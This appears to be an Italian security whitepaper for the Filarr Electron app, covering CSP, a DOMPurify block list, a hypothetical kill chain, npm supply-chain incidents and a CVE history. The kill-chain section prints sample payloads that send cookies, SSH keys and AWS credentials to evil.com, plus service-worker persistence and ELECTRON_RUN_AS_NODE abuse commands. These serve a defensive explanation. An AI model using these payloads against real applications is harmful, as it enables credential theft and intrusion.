Oltre alla CSP applichiamo sistematicamente X-Content-Type-Options: nosniff (che impedisce il MIME sniffing abusivo), X-Frame-Options: DENY (che blocca l’incorporamento in iframe esterni), Referrer-Policy: strict-origin-when-cross-origin (che limita la fuga di URL nelle intestazioni Referer), Permissions-Policy: camera=(), microphone=(), geolocation=(), usb=() (riserva del gestore dei permessi per gli user agent che rispettano ancora questa intestazione) e Strict-Transport-Security: max-age=31536000; includeSubDomains (che attiva HSTS su tutta la famiglia di domini Filarr).
Due concessioni di questa configurazione meritano di essere documentate, perché contraddicono il principio «bloccare tutto per impostazione predefinita». Innanzitutto 'unsafe-inline' su style-src è richiesto dagli attributi style inline di React: React genera CSS inline per i suoi componenti, e passare a una soluzione basata su nonce romperebbe l’intera pipeline di rendering. Questa concessione è mitigata dalla combinazione contextIsolation + sandbox + DOMPurify: anche se un attaccante inietta CSS malevolo, non può eseguire JavaScript per questa via. Poi script-src autorizza cdnjs.cloudflare.com oltre a 'self', perché KaTeX e Mermaid vengono caricati da cdnjs per ridurre la dimensione del bundle. Potremmo impacchettare tutto in locale (ed è nella roadmap), ma il compromesso attuale è accettare un solo dominio terzo fidato in cambio di un bundle più leggero di 500 KB.
L’intestazione object-src 'none' elimina tutta la superficie d’attacco dei vecchi plugin (Flash, ActiveX, Java Applet), che nessuna app moderna dovrebbe consentire. L’intestazione frame-ancestors 'none' impedisce che Filarr venga incorporato in un iframe da un sito esterno, bloccando gli attacchi di clickjacking.
10. Sanificazione XSS
Tutto l’HTML che finisce inserito nel DOM del renderer passa da DOMPurify 3.4.0+, il riferimento open source del settore mantenuto da Cure53. La configurazione difensiva è stata ampliata nella v2.2.1 sulla base dell’audit di sicurezza:
DOMPurify.sanitize(html, {
ADD_ATTR: ['target', 'rel'],
FORBID_TAGS: [
'style', 'form', 'input', 'textarea', 'select',
'iframe', 'object', 'embed',
'svg', 'math', 'foreignObject', 'annotation-xml',
'base', 'meta', 'link',
],
FORBID_ATTR: ['style', 'srcdoc', 'formaction', 'ping'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|...)/i,
});
Perché vietare <svg> quando l’SVG sembra a priori innocuo come formato di immagine? Perché l’SVG è un classico cavallo di Troia per aggirare i sanificatori ingenui. Il tag <foreignObject> all’interno di un SVG permette di incorporare HTML arbitrario, compresi <iframe> con attributo srcdoc, <script> o gestori di eventi come onclick. Un sanificatore che bloccasse <iframe> ma consentisse <svg> lascerebbe passare:
<svg>
<foreignObject>
<iframe srcdoc="<script>fetch('/api/exfil?cookie='+document.cookie)</script>">
</iframe>
</foreignObject>
</svg>
Storicamente lo stesso DOMPurify ha avuto diverse CVE legate a SVG e MathML (la versione MathML 3.0 è piena di sorprese simili). La versione 3.4.0 corregge tutti gli aggiramenti noti, ma la blocklist difensiva come complemento resta una cintura con le bretelle: se domani venisse scoperto un nuovo aggiramento in una versione 3.5, la nostra blocklist bloccherebbe comunque il vettore.
Gli attributi vietati srcdoc, formaction e ping sono vettori d’attacco meno noti ma molto reali. srcdoc permette di eseguire HTML inline in un iframe, aggirando le restrizioni CSP rivolte all’attributo src. formaction permette a un pulsante di un modulo di reindirizzare l’invio verso un URL diverso da quello indicato dal <form>, il che consente a un attaccante di esfiltrare dati tramite un modulo innocuo. ping permette a un link <a> di inviare un POST silenzioso a un URL arbitrario quando l’utente fa clic: una funzione pensata per il tracciamento analitico ma utilizzabile per esfiltrare dati. Bloccare questi tre attributi non costa alcuna funzionalità legittima nel contesto di Filarr.
Oltre a DOMPurify, Filarr applica convalide specifiche per certi tipi di contenuto. I wiki-link [[Note]] importati da una cassaforte Obsidian vengono convalidati in modo che puntino solo a titoli di note esistenti, e non vengono mai interpretati come URL. Un attaccante che infilasse [[javascript:alert(1)]] in una cassaforte condivisa vedrebbe il suo link reso come semplice testo (perché nessuna nota si chiama javascript:alert(1)) anziché come link cliccabile con lo schema javascript:. I diagrammi Mermaid sono resi con l’opzione securityLevel: 'strict', che disattiva l’esecuzione di HTML nelle etichette, i gestori di clic e gli script inline generati dal parser: tre vettori che hanno avuto tutti delle CVE storiche in Mermaid.
11. Anatomia di una kill chain
Per capire come le difese si concatenano, niente vale un caso concreto. Ecco cosa avrebbe potuto fare un attaccante determinato contro Filarr v2.2.0, e cosa blocca ogni fase nella versione attuale v2.3.1. Lo scenario si ispira ad attacchi reali contro altre app Electron e rappresenta un modello plausibile di supply chain + XSS.
11.1 Lo scenario
Un attaccante pubblica un «plugin Obsidian» popolare chiamato Awesome Tag Cloud v2 in una community di condivisione di casseforti Obsidian. Il plugin sembra legittimo: genera belle nuvole di tag. Ma il suo file README.md contiene un tag HTML costruito dall’attaccante, pensato per innescare una cascata di sfruttamenti quando la cassaforte viene importata in Filarr con la procedura guidata di importazione.
L’utente bersaglio scarica questa cassaforte trappola, la apre in Filarr e avvia la procedura guidata di importazione Obsidian → Filarr. Nel momento in cui la nota README viene resa nell’editor, il payload si attiva.
11.2 Fase 1 — Accesso iniziale (T1189)
Nella versione precedente alla v2.2.1, la configurazione di DOMPurify non includeva svg né foreignObject nella blocklist. Il payload dell’attaccante poteva quindi iniettare un blocco:
<svg><foreignObject>
<iframe srcdoc="<script>fetch('https://evil.com/beacon?u='+encodeURIComponent(document.cookie))</script>"></iframe>
</foreignObject></svg>
DOMPurify lo lasciava passare (perché <svg> era consentito), l’iframe si caricava, il suo srcdoc eseguiva lo script e la fase 1 riusciva: l’attaccante aveva JavaScript in esecuzione nel contesto del renderer di Filarr.
Dalla v2.2.1, FORBID_TAGS include svg, foreignObject, iframe, e srcdoc è in FORBID_ATTR. DOMPurify rimuove interamente il blocco prima dell’inserimento nel DOM. Il payload non ha più un vettore di iniezione HTML. La fase 1 fallisce.
11.3 Fase 2 — Escalation dei privilegi via IPC (T1068)
Supponiamo che la fase 1 sia riuscita nonostante tutto, grazie a una futura 0-day non ancora scoperta in DOMPurify che superasse tutti i filtri. L’attaccante ha ora JavaScript nel renderer. Il suo obiettivo: esfiltrare la tua chiave SSH privata per usarla altrove.
Nella versione precedente alla v2.2.1, all’attaccante bastava scrivere:
const sshKey = await window.electron.ipcRenderer.invoke(
'import:readFile',
'C:\\Users\\Victim\\.ssh\\id_ed25519'
);
const awsCreds = await window.electron.ipcRenderer.invoke(
'import:readDirectory',
'C:\\Users\\Victim\\.aws'
);
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({ sshKey, awsCreds })
});
Il processo principale eseguiva l’IPC senza alcuna convalida del percorso. La chiave SSH partiva, le credenziali AWS partivano, i .env di tutti i progetti apribili partivano, la cronologia di .git/config, che può contenere token GitHub, partiva. Tutto senza una sola richiesta UAC, senza notifiche visibili per l’utente, senza log di allerta: perché il gestore IPC trattava l’operazione come perfettamente legittima.
Nella v2.2.1 il gestore import:readFile verifica ora che il percorso richiesto faccia parte di approvedImportPaths, un Set popolato solo dalle finestre di dialogo native showOpenDialog. L’attaccante, nel renderer, non ha modo di aprire una finestra di dialogo nativa: non esiste un IPC dialog:open esposto che si apra senza interfaccia utente. Il suo tentativo di leggere id_ed25519 restituisce null, e un avviso viene registrato dal lato del processo principale: [import:readFile] Refused unapproved path: C:\Users\Victim\.ssh\id_ed25519. La fase 2 fallisce.
11.4 Fase 3 — Persistenza (T1546)
Un attaccante sofisticato non si ferma a un’esfiltrazione una tantum; vuole sopravvivere a un aggiornamento di sicurezza che correggerebbe la vulnerabilità iniziale. Il Service Worker è uno strumento ideale per questo: una volta registrato, intercetta tutte le richieste fetch() dell’app e può iniettare il suo codice a ogni caricamento di pagina, anche dopo che l’utente ha ricevuto e installato una correzione.
Nella versione precedente alla v2.2.1, Filarr ereditava un serviceWorkerRegistration.register() dal template create-react-app. Un attaccante poteva registrare il proprio SW malevolo:
await navigator.serviceWorker.register('/stolen-sw.js');
Da lì il SW sarebbe persistito tra le sessioni, sarebbe sopravvissuto agli aggiornamenti (perché il SW è conservato nel profilo Chromium di Electron, non in app.asar) e avrebbe reiniettato il suo payload a ogni caricamento. Neutralizzare questo tipo di persistenza richiederebbe all’utente di disinstallare completamente l’app ed eliminare a mano il suo profilo: un’operazione che pochi utenti sanno fare.
La versione v2.2.1 risolve il problema alla radice: src/index.js chiama esplicitamente serviceWorkerRegistration.unregister() all’avvio e svuota tutta la Cache Storage con caches.keys().then(keys => Promise.all(keys.map(k => caches.delete(k)))). Se era presente un SW ereditato dalla v2.1.x, viene annullato al primo avvio della v2.2.1 o successiva. L’attaccante non può più stabilire una persistenza per questa via.
11.5 Fase 4 — Command & Control
Un attaccante che ha stabilito una persistenza vuole poi mantenere un canale di comunicazione con la sua infrastruttura C2 (command and control). Un approccio sottile consiste nel camuffare le richieste da aperture di link esterni, che sembrano legittime: un utente che fa clic su un link in una nota si aspetta che si apra il browser.
Nella versione precedente alla v2.2.1, l’IPC open-external era protetto da un semplice startsWith('https://'). L’attaccante poteva quindi costruire un URL come https://filarr.com#javascript:window.open('https://evil.com/c2') che superava il controllo, ma il cui frammento veniva interpretato diversamente da alcune app native associate allo schema, aprendo potenzialmente una superficie d’attacco.
La versione v2.2.1 usa un new URL(url) rigoroso che analizza l’URL completo e rifiuta qualsiasi protocollo diverso da http: / https:, i caratteri di controllo ASCII e gli URL eccessivamente lunghi (oltre 8 KB, soglia oltre la quale la maggior parte dei parser dei sistemi operativi ha bug sfruttabili). La stessa convalida si applica agli URL restituiti dal backend per i checkout Stripe, come difesa in profondità contro un backend compromesso che provi a inviare un URL javascript:.
11.6 Fase 5 — Abuso dei privilegi nativi
Ultimo scenario: supponiamo un attaccante che abbia già un accesso locale a livello utente alla macchina (senza XSS), magari tramite un trojan scaricato altrove. Vuole usare il binario firmato di Filarr come proxy per eseguire il suo codice e sfuggire ai rilevamenti euristici.
ELECTRON_RUN_AS_NODE=1 "C:\Program Files\Filarr\Filarr.exe" ./payload.js
Prima della v2.2.2 non tutti i fuse erano applicati (e prima ancora, nessuno). Questa riga di comando avrebbe trasformato Filarr in un runtime Node.js ed eseguito payload.js con i privilegi dell’utente. Dal punto di vista del sistema (e dell’EDR) è Filarr che fa un’operazione di rete, non un eseguibile sospetto: il codice ha quindi meno probabilità di essere bloccato.
Dalla v2.2.2, il fuse RunAsNode: false è impostato nel binario. La variabile d’ambiente ELECTRON_RUN_AS_NODE viene semplicemente ignorata. Lo stesso vale per NODE_OPTIONS, --inspect, --inspect-brk. L’attaccante non può più dirottare il binario come proxy.
11.7 Il risultato complessivo
Per compromettere un utente di Filarr v2.3.1 con lo scenario descritto, l’attaccante avrebbe bisogno contemporaneamente di: una 0-day in DOMPurify 3.4+ (nessuna pubblica nel 2026) per iniettare JS, una 0-day in Electron 41 (correzioni aggiornate) per evadere dalla sandbox di Chromium, una falla in un gestore IPC specifico (ogni gestore convalidato dall’audit) e un metodo di persistenza che aggiri SW, variabili d’ambiente e modifica dell’ASAR. È una catena di cinque anelli, ognuno dei quali richiede una vulnerabilità 0-day indipendente. È esattamente l’obiettivo della difesa in profondità: impilare abbastanza livelli indipendenti perché nessuna falla isolata comprometta l’insieme.
12. Supply chain
Gli attacchi alla supply chain npm sono diventati la norma negli ultimi anni. È istruttivo ripercorrere i principali incidenti per capire la forma che questi attacchi prendono nella pratica e cosa fa Filarr per ridurre la propria esposizione.
L’incidente event-stream del 2018 è emblematico. Lo storico manutentore del pacchetto, Dominic Tarr, accettò l’aiuto di un collaboratore che si era offerto per la manutenzione. Questo collaboratore finì per diventare il manutentore principale dopo il disimpegno di Tarr, e pubblicò poi una versione con codice malevolo che prendeva di mira specificamente il wallet copay-dash usato da Copay, un’applicazione di wallet Bitcoin. Il malware rubava le chiavi private e i saldi dei wallet che lo usavano. Il pacchetto event-stream aveva all’epoca circa 2 milioni di download a settimana: praticamente ogni progetto Node.js lo usava in modo transitivo. Il post-mortem di Dominic Tarr è una lettura illuminante sulle dinamiche della manutenzione open source e sui rischi dell’ospitalità predefinita.
L’incidente ua-parser-js del 2021 fu più diretto: l’account npm del manutentore fu compromesso con il credential stuffing (riuso di una password trapelata altrove), e tre versioni malevole furono pubblicate nel giro di poche ore. Contenevano un miner di criptovalute XMRig e un ladro di credenziali che prendeva di mira le variabili d’ambiente contenenti token. Il pacchetto aveva 7 milioni di download a settimana. Il ripristino richiese diversi giorni di coordinamento tra GitHub, npm e il manutentore, che dovette riprendere il controllo del suo account e pubblicare versioni pulite. L’advisory ne dettaglia la cronologia.
L’incidente node-ipc del 2022 introdusse un concetto nuovo: il «protestware». Il manutentore, RIAEvangelist, aggiunse volontariamente in un aggiornamento un codice che sovrascriveva i file sulle macchine il cui IP era geolocalizzato in Russia o in Bielorussia, per protesta contro l’invasione dell’Ucraina. Il pacchetto era usato da Vue.js e da altri grandi progetti. Al di là del dibattito etico sulla legittimità del gesto, l’incidente ha ricordato che qualsiasi manutentore malintenzionato ha la capacità tecnica di introdurre qualsiasi codice in qualsiasi dipendenza, e che la comunità open source non ha alcun meccanismo sistemico per impedirlo. Post-mortem dettagliato di Snyk.
E sempre nel 2022, colors.js e faker.js: il manutentore Marak Squires pubblicò versioni che stampavano «LIBERTY LIBERTY LIBERTY» in un ciclo infinito, per protestare contro la manutenzione non retribuita di un progetto open source usato da multinazionali. Non era esattamente un malware ma un denial of service autoinflitto, e ha rotto migliaia di applicazioni in produzione per diverse ore. Articolo di BleepingComputer.
Di fronte a questa realtà, Filarr adotta diverse strategie di riduzione del rischio, senza poter pretendere l’immunità. La prima è un audit trimestrale con npm audit --audit-level=high, che blocca automaticamente la CI se compare una nuova vulnerabilità alta o critica. Questa disciplina ha portato ai grandi aggiornamenti documentati nel changelog: jspdf (XSS critico), axios (SSRF + DoS), dompurify (aggiramento del sanificatore), electron (18 CVE).
La seconda strategia è la CSP rigorosa, che limita ciò che una dipendenza compromessa può fare durante l’esecuzione. Anche se un pacchetto come @tiptap/extension-foo pubblicasse domani una versione che prova a caricare codice da evil.com, script-src 'self' + cdnjs bloccherebbe la richiesta. Non è una protezione contro il codice iniettato staticamente (che fa parte del bundle), ma è una linea di difesa contro i payload che tentano un’esfiltrazione via rete.
La terza è la convalida dell’integrità del binario tramite gli Electron fuses. EnableEmbeddedAsarIntegrityValidation: true rileva qualsiasi modifica di app.asar dopo la firma. Un attaccante che fosse riuscito a modificare il binario sul disco (tramite una vulnerabilità locale o tramite una dipendenza che scrive nella cartella di installazione) fallisce al successivo avvio. OnlyLoadAppFromAsar: true rifiuta inoltre di caricare da una cartella app/ accanto al binario: un classico vettore di persistenza in cui un malware deposita una cartella con codice modificato che avrebbe la priorità sull’ASAR.
La quarta strategia è semplicemente un perimetro di dipendenze limitato: evitiamo i pacchetti con migliaia di dipendenze transitive. Quando aggiungiamo una nuova dipendenza, ne leggo il codice (almeno il punto d’ingresso e l’inizio del file principale) prima di integrarla. È una misura artigianale che non scala, ma su piccola scala fa la differenza.
Il limite onesto, che va riconosciuto, è che nessuna di queste difese protegge del tutto da una dipendenza transitiva compromessa con un payload eseguito nel renderer. Se domani @tiptap/extension-foo fosse compromesso e iniettasse JS in esecuzione, la CSP bloccherebbe la comunicazione verso l’esterno ma non l’esecuzione locale né l’uso degli IPC esposti (che sono a loro volta convalidati, ma un payload ingegnoso potrebbe combinare più gestori per raggiungere il suo obiettivo). La risposta robusta a lungo termine richiede build riproducibili (il cui output deterministico permette a chiunque di verificare che il binario finale corrisponda al codice sorgente pubblicato), audit regolari e approfonditi e un perimetro minimo del renderer. È nella roadmap delle prossime versioni.
13. Storico delle CVE
Al 18 aprile 2026, nella versione 2.3.1, lo stato della superficie d’attacco è il seguente: zero vulnerabilità critiche rilevate da npm audit, zero vulnerabilità alte nelle dipendenze di runtime dirette e 47 vulnerabilità transitive, tutte confinate a react-scripts. Quest’ultimo punto merita una precisazione: react-scripts è la cassetta degli attrezzi di build di Create React App (webpack, babel-loader, jest, postcss, ecc.), usata solo al momento della build del renderer. Le vulnerabilità che si porta dietro (soprattutto vecchie versioni di webpack-dev-server e svgo) non riguardano il runtime dell’applicazione impacchettata: stanno nella catena di build dello sviluppatore. Le monitoriamo, le documentiamo, ma non le consideriamo rischi di produzione.
La recente pulizia della superficie d’attacco è avvenuta in quattro grandi tappe, documentate qui con i riferimenti GHSA quando disponibili:
| Versione | Aggiornamento | CVE principali corrette |
|---|---|---|
| v2.2.0 | jspdf 4.2.0 → 4.2.1 | GHSA-wfv2-pwc8-crg5: XSS critico CVSS 9.6 (iniezione HTML in New Window) |
| v2.2.0 | axios 1.7.7 → 1.15.0 | DoS tramite __proto__ in mergeConfig (GHSA-wf5p-g6vw-rhxx), SSRF tramite NO_PROXY, esfiltrazione dei metadati cloud tramite iniezione di intestazioni |
| v2.2.0 | dompurify 3.3.1 → 3.4.0 | 5 aggiramenti del sanificatore (mutation-XSS, aggiramento di FORBID_TAGS tramite ADD_ATTR/ADD_TAGS, prototype pollution tramite USE_PROFILES, aggiramento degli URI) |
| v2.3.0 | electron 39 → 41 | 18 CVE di Electron: aggiramento del context isolation tramite VideoFrame di contextBridge, diversi use-after-free in offscreen paint / finestra di download / PowerMonitor, iniezione di percorso in setAsDefaultProtocolClient (Windows), spoofing di dispositivi USB, iniezione di switch da riga di comando nel renderer, percorso dell’eseguibile senza virgolette in setLoginItemSettings (Windows), iniezione di intestazioni nei gestori di protocolli personalizzati e altre |
| v2.3.0 | electron-builder 24 → 26 | Richiesto da Electron 41 |
A questi aggiornamenti delle dipendenze si aggiungono le 8 correzioni interne della v2.2.1 documentate altrove: path traversal negli IPC, ZIP bomb, UUID generati con Math.random, service worker disattivato, timing attack sul confronto degli hash, controllo rigoroso del protocollo degli URL, FORBID_TAGS di DOMPurify ampliato, safeStorage in fail-closed. Ognuna di queste correzioni è stata individuata durante l’audit completo successivo alla v2.2.0 e corretta entro la settimana seguente.
14. Confronto con altri strumenti
Per collocare Filarr rispetto agli strumenti con cui potrebbe essere confrontato nell’ecosistema della produttività crittografata, ecco una tabella di sintesi delle scelte crittografiche e architetturali di ciascuno:
| Aspetto | Filarr | Signal | 1Password | Bitwarden | Obsidian | Notion |
|---|---|---|---|---|---|---|
| Archiviazione zero-knowledge | ✅ | ✅ | ✅ | ✅ | N/D (solo locale) | ❌ (i server leggono tutto) |
| Crittografia dei file | AES-256-GCM | AES-256-CTR + HMAC-SHA256 | AES-256-GCM | AES-256-CBC + HMAC-SHA256 | ❌ (in chiaro) | ❌ (leggibile lato server) |
| KDF | PBKDF2-SHA-512 (KEK), Argon2id per gli altri segreti | N/D (nessuna password) | PBKDF2-SHA-256 + Secret Key | PBKDF2 → Argon2id (progressivo) | N/D | Bcrypt lato server |
| Multi-dispositivo | ECDH + HKDF | Double Ratchet | Sincronizzazione con Secret Key 1Password | Password + chiave del dispositivo | Sincronizzazione di terze parti (iCloud, Obsidian Sync a pagamento) | Sincronizzazione cloud nativa (non E2E) |
| Local-first | ✅ | ❌ (server per le notifiche push) | ❌ (cassaforte crittografata sul server) | Parziale | ✅ | ❌ |
| Open source | Source available (client desktop, BSL 1.1) | ✅ (server + client) | ❌ | ✅ | ❌ (solo l’ecosistema dei plugin) | ❌ |
| Audit esterno | Previsto | Trail of Bits, NCC, accademici | Cure53 (2021, 2023) | Cure53 (2020, 2022), Insight Risk | ❌ | Esterno (non pubblico) |
| Autenticazione a due fattori (2FA) | ✅ TOTP + 8 codici di backup | ✅ Registration Lock (PIN) | ✅ TOTP, FIDO2 | ✅ TOTP, FIDO2, YubiKey | ✅ (Obsidian Sync) | ✅ TOTP, WebAuthn |
Filarr si colloca in uno spazio preciso del mercato: tra Obsidian, eccellente strumento local-first che per impostazione predefinita non crittografa nulla e dipende da plugin di terze parti per la crittografia, e Bitwarden, esemplare nello zero-knowledge ma dedicato esclusivamente alle password. Nessun altro strumento unisce zero-knowledge, local-first e uno spazio di lavoro completo (note + file + grafo + canvas). Questa nicchia è stata la ragione per costruire Filarr invece di affidarsi a uno strumento esistente.
Le differenze di scelte tecniche si spiegano in genere con casi d’uso diversi. Signal non ha password utente perché è un’app di messaggistica in cui l’installazione locale deve essere rapida e senza attriti: tutto deriva dal PIN + Secure Value Recovery, un protocollo sofisticato che conserva lato server una versione crittografata di una chiave principale che solo il PIN corretto può decrittografare. 1Password ha la Secret Key, una chiave da 256 bit che l’utente conserva fuori dal server (in genere su un codice QR stampato) e che si combina con la password per raddoppiare la sicurezza. Abbiamo valutato questo modello per Filarr, ma il peggioramento dell’esperienza d’uso (gestire un file aggiuntivo a ogni nuovo dispositivo) è stato giudicato incompatibile con il pubblico generalista dello strumento: gli utenti che dimenticano regolarmente la password dimenticherebbero anche la Secret Key, e il costo dell’assistenza supererebbe il guadagno di sicurezza per il pubblico a cui ci rivolgiamo. Bitwarden usa AES-CBC + HMAC-SHA256, una costruzione di crittografia autenticata valida ma più lenta di GCM e storicamente più esposta agli errori di implementazione (padding oracle, MAC mancante); la sua migrazione ad Argon2id è in corso. Obsidian non crittografa nulla per impostazione predefinita perché la sua filosofia è la massima portabilità delle note (testo semplice Markdown); esistono plugin di terze parti come Meld Encrypt, ma la sicurezza dipende allora dalla qualità del plugin. Notion conserva tutto in forma leggibile dai suoi server e la sua informativa sulla privacy autorizza esplicitamente l’accesso dei dipendenti ai dati per l’«assistenza», il che lo colloca in un’altra categoria: strumenti di collaborazione centralizzati, non casseforti personali private.
15. Roadmap della sicurezza
Quello che non abbiamo ancora, detto con onestà: un audit di sicurezza esterno indipendente è in preparazione con uno studio mirato (Cure53 o Trail of Bits, a seconda della disponibilità e del budget). Il budget stimato è tra 15.000 e 30.000 € a seconda del perimetro: privilegeremo un’ampia copertura rispetto a un’estrema profondità su un solo componente. Il rapporto finale sarà reso interamente pubblico, compresi i risultati che considereremmo imbarazzanti, perché la trasparenza è l’unico modo per trasformare un audit in un guadagno di fiducia per gli utenti.
La firma Authenticode per Windows richiede un certificato EV (Extended Validation) che costa circa 400 € l’anno e richiede una verifica KYC da parte di un’autorità di certificazione. È in corso, ma abbiamo dato la priorità al rafforzamento del runtime. Senza firma EV, SmartScreen mostra un avviso al primo avvio che gli utenti devono superare con un clic: non è elegante ma non è bloccante. La notarizzazione Apple per macOS segue un percorso simile: iscrizione al Developer Program fatta, automazione nella CI in corso.
Le build riproducibili richiedono un ambiente di build deterministico in cui le date di compilazione sono fisse, l’ordine dei file è stabile e tutti gli input sono sotto controllo di versione. È uno studio per la v2.4; l’ostacolo principale è che alcune dipendenze (in particolare i prebuild nativi di argon2) incorporano metadati di build che variano.
La crittografia post-quantistica tramite CRYSTALS-Kyber (standardizzato nel 2024 come ML-KEM dal NIST con la FIPS 203) è nella lista delle idee per l’abbinamento e potenzialmente per i blob a lungo termine. L’approccio sarebbe ibrido, classico + post-quantistico combinati, come ha fatto Signal con PQXDH nel 2023 e WireGuard dalla sua versione 1.x. L’ibrido permette di non puntare tutto su Kyber (che di recente è stato in parte crittoanalizzato), guadagnando al tempo stesso resistenza contro un attaccante che registra il traffico oggi per decrittografarlo domani con un computer quantistico.
Un bug bounty ufficiale è previsto dopo l’audit esterno: vogliamo prima pagare per i risultati «facili» (quelli che un audit sistematico troverà) prima di aprire un bounty che li pagherebbe a prezzo pubblico. Una volta pulita la base, il bounty ha più senso.
Infine, il protocollo personalizzato app:// al posto di file:// in produzione permetterà di chiudere definitivamente il fuse GrantFileProtocolExtraPrivileges e di rafforzare in modo significativo la CSP (oggi default-src 'self' su file:// ha una semantica vaga; su un app:// personalizzato è pulita e rigorosa). Il lavoro richiede di migrare il caricamento del bundle React, dei font, dei worker di pdf.js, delle immagini e delle lingue i18n, e di testare l’intera catena di anteprima. Si contano da una a due settimane di lavoro più test intensivi.
Tutto questo è documentato pubblicamente nella roadmap, non nascosto.
16. In sintesi
Se dovessi ricordare solo cinque affermazioni di questo articolo: i tuoi contenuti sono crittografati in AES-256-GCM sotto una chiave casuale che solo la tua password (tramite PBKDF2-SHA-512, 600.000 iterazioni) o la tua frase di recupero possono decifrare, e questa chiave non lascia mai il tuo computer in chiaro. I server di Filarr conservano solo blob opachi che non possono leggere: una richiesta di un’autorità o una copia rubata dei loro dati non restituisce nulla di leggibile; la loro unica apertura, finché non termina la transizione dell’accesso, è la password di un account che la invia ancora, che un server compromesso potrebbe intercettare. L’abbinamento multi-dispositivo usa ECDH P-256 e HKDF-SHA-256 con un separatore di dominio, più un segreto trasportato dal codice QR o un controllo a sei cifre, così che la FEK venga scambiata end-to-end senza che il server possa ricostruirla. Il binario Electron è rafforzato contro tutti gli abusi noti: 8 fuse espliciti con strictlyRequireAllFuses, contextIsolation, sandbox di Chromium, CSP rigorosa, allowlist IPC, DOMPurify difensivo e protezione SSRF. Le dipendenze vengono verificate a ogni rilascio, con un bilancio al 18 aprile 2026 di zero vulnerabilità critiche o alte nel runtime, dopo 8 correzioni interne nella v2.2.1 e 18 CVE di Electron corrette nella v2.3.0.
Filarr non pretende di essere perfetto. Pretende di essere esplicito: ogni scelta è documentata con i suoi parametri esatti, ogni compromesso è dichiarato, ogni CVE corretta è datata e referenziata. Sta a te giudicare se questa architettura corrisponde al tuo modello di minaccia: se sì, puoi scaricare l’app, creare il tuo primo profilo e crittografare il tuo primo file in pochi minuti. Se non fa per te, scrivi a contact@filarr.com con il prefisso [Security] nell’oggetto per dirci cosa manca. Risposta entro 48 ore lavorative, e nessuna azione legale contro i ricercatori di vulnerabilità che agiscono in buona fede (safe harbor).
17. Riferimenti e letture di approfondimento
Standard e specifiche
- NIST SP 800-38D — Recommendation for Block Cipher Modes of Operation: GCM and GMAC
- NIST SP 800-56C Rev.2 — Recommendation for Key-Derivation Methods in Key-Establishment Schemes
- RFC 5869 — HMAC-based Extract-and-Expand Key Derivation Function (HKDF)
- RFC 8446 — The Transport Layer Security (TLS) Protocol Version 1.3
- RFC 9106 — Argon2 Memory-Hard Function for Password Hashing and Proof-of-Work Applications
- FIPS 203 (ML-KEM) — Module-Lattice-based Key-Encapsulation Mechanism
OWASP
Electron e Chromium
Attacchi e ricerca
- Böck, Zauner, Devlin — Nonce-Disrespecting Adversaries: Practical Forgery Attacks on GCM in TLS (2016) — il Forbidden Attack
- Bellare & Namprempre — Authenticated Encryption: Relations among Notions and Analysis of the Generic Composition Paradigm (2008)
- MITRE ATT&CK — Enterprise Matrix
- Password Hashing Competition — PHC
Termini di paragone e ispirazioni
- Signal — Technical Documentation
- 1Password — 1Password Security Design White Paper
- Bitwarden — Security Whitepaper
- ProtonMail — Security Features
- Tresorit — Encryption Whitepaper
Mathis Belouar-Pruvot Creatore di Filarr — filarr.com Ultima revisione: 18 aprile 2026 (v2.3.1)